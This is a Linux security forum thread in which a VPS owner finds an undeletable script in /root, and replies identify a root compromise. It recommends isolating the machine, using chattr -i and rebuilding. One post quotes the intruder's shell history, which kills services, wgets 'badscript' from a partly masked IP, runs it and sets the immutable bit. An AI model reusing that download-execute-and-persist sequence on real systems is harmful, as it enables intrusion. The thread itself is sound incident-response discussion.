LinuxQuestions.org
Share your knowledge at the LQ Wiki.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 07-30-2014, 09:38 AM   #1
postcd
Member
 
Registered: Oct 2013
Posts: 527

Rep: Reputation: Disabled
Exclamation Cant delete or chown file as a root


Hello,

some hack script suddenly appear in the /root directory of my VPS. Lets call it "badscript"

Quote:
-rwxr-xr-x 1 root root 1.2M Jul 18 12:34 badscript
but i cant delete it or chown it being root..

it says:
Quote:
rm: cannot remove `badscript': Operation not permitted
chown: changing ownership of `badscript': Operation not permitted
stat badscript
Quote:
File: `badscript'
Size: 1189151 Blocks: 2336 IO Block: 4096 regular file
Device: 57h/87d Inode: 17932822 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2014-07-29 16:51:30.000000000 -0400
Modify: 2014-07-18 12:34:49.000000000 -0400
Change: 2014-07-29 16:51:25.000000000 -0400
Please any idea how to block that person who added this script to my linux redhat server?

"last" command shows only my regular ips, no stranger ip

and how to remove that script? Thank you
 
Old 07-30-2014, 09:41 AM   #2
Ser Olmy
Senior Member
 
Registered: Jan 2012
Distribution: Slackware
Posts: 3,340

Rep: Reputation: Disabled
Try clearing the immutable bit with chattr -i badscript.

Oh, and if someone can write files to the /root directory of your server, you have bigger problems than a stubborn script file. Someone has managed to get root access to this server.

Last edited by Ser Olmy; 07-30-2014 at 09:44 AM.
 
Old 07-30-2014, 09:46 AM   #3
szboardstretcher
Senior Member
 
Registered: Aug 2006
Location: Detroit, MI
Distribution: GNU/Linux systemd
Posts: 4,278

Rep: Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694Reputation: 1694
Ser Olmy is correct on both counts.

First thing to do is remove the computer from the network. Then there are plenty of guides to get you through the cleanup if you DO NOT have a good backup.

also remember that stat/lsattr/getfacl are your friends for permissions issues.
 
Old 07-30-2014, 02:22 PM   #4
postcd
Member
 
Registered: Oct 2013
Posts: 527

Original Poster
Rep: Reputation: Disabled
thx, when i run lsattrm it shows:
Quote:
----i---------- ./badscript
groups
Quote:
root
cat /etc/passwd | grep root
Quote:
root:x:0:0:root:/root:/bin/bash
operator:x:11:0perator:/root:/sbin/nologin
Also thanks to command:
find /root -type f -name "*" -mtime -48

i found some modiffied files, amongs them:
Quote:
/root/sent
/root/badscript
/root/conf.n
/root/.mysql_history
/root/.bash_history
cat /root/.bash_history
Quote:
uname -a
passwd
ps -
killall -9 httpd
killall -9 pickup
killall -9 qmgr
killall -9 proftpd
killall -9 xinetd
wget http://192.161.*.*:1688/badscript
chmod +x badscript
./badscript
chattr +i badscript
killall -9 sshpa
(i replaced ip by asterisks)

cat /root/.mysql_history
Quote:
password
show databases;
please any ideas? I already changed root password, and its not guessable one (previous was too not guessable not dictionary)..

Last edited by postcd; 07-30-2014 at 02:29 PM.
 
Old 07-31-2014, 02:54 PM   #5
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by postcd View Post
please any ideas?
Changing the root password isn't going to change the fact this was a root compromise. If this was a production machine then alert any users (have them check their machines as well), mark backups "tainted" and not to be used, isolate all network access to your management IP (range) and investigate with the intent to learn from it, set up a new machine and follow proper procedure (that is, not with the intent to try and "fix" this "victim" machine).

*As an aside I always though you asked too much questions in too little time and without properly discussing replies and options, but maybe that's just me.

Last edited by unSpawn; 07-31-2014 at 02:55 PM.
 
Old 07-31-2014, 08:12 PM   #6
jefro
Moderator
 
Registered: Mar 2008
Posts: 21,982

Rep: Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625Reputation: 3625
Boot to live media/single user mode and check filesystem. It should not be an issue to remove from live media.

As above notes also to include issues about current security state. May need to run security sweeps or consider reload OS in worse case.

Usually when we see this "linux redhat server" we suggest you contact your RH support staff.

Last edited by jefro; 07-31-2014 at 08:15 PM.
 
Old 08-01-2014, 12:28 AM   #7
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Quote:
Originally Posted by jefro View Post
As above notes also to include issues about current security state. May need to run security sweeps or consider reload OS in worse case.
Please be clear. What do you mean "worse case"? This is a root compromise!


Quote:
Originally Posted by jefro View Post
Usually when we see this "linux redhat server" we suggest you contact your RH support staff.
Your "we" includes a subset of LQ members which does not include me.
In this case it is neither needed or warranted to contact Red Hat Support.
 
Old 08-04-2014, 01:24 PM   #8
mboelen
LQ Newbie
 
Registered: Nov 2013
Location: The Netherlands
Distribution: Several ones for testing purposes
Posts: 15

Rep: Reputation: Disabled
Clearly a root compromise. Time to install a new VPS, tighten it up and carefully restore data.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Unable to delete file as root RattleSn@ke Linux - Security 5 02-12-2010 10:43 AM
[SOLVED] Root unable to chmod, chown or operate on specific file chochem Linux - Software 2 09-06-2009 02:19 AM
root cannot delete file! Ezplan Linux - Newbie 5 04-27-2009 12:03 PM
Root cant delete file WTF!!! xtypestereotype Linux - Software 7 06-27-2005 11:41 AM
Tried to delete file as root but it says I don't have permission to delete it! beejayzed Mandriva 23 03-12-2004 02:46 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 10:56 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration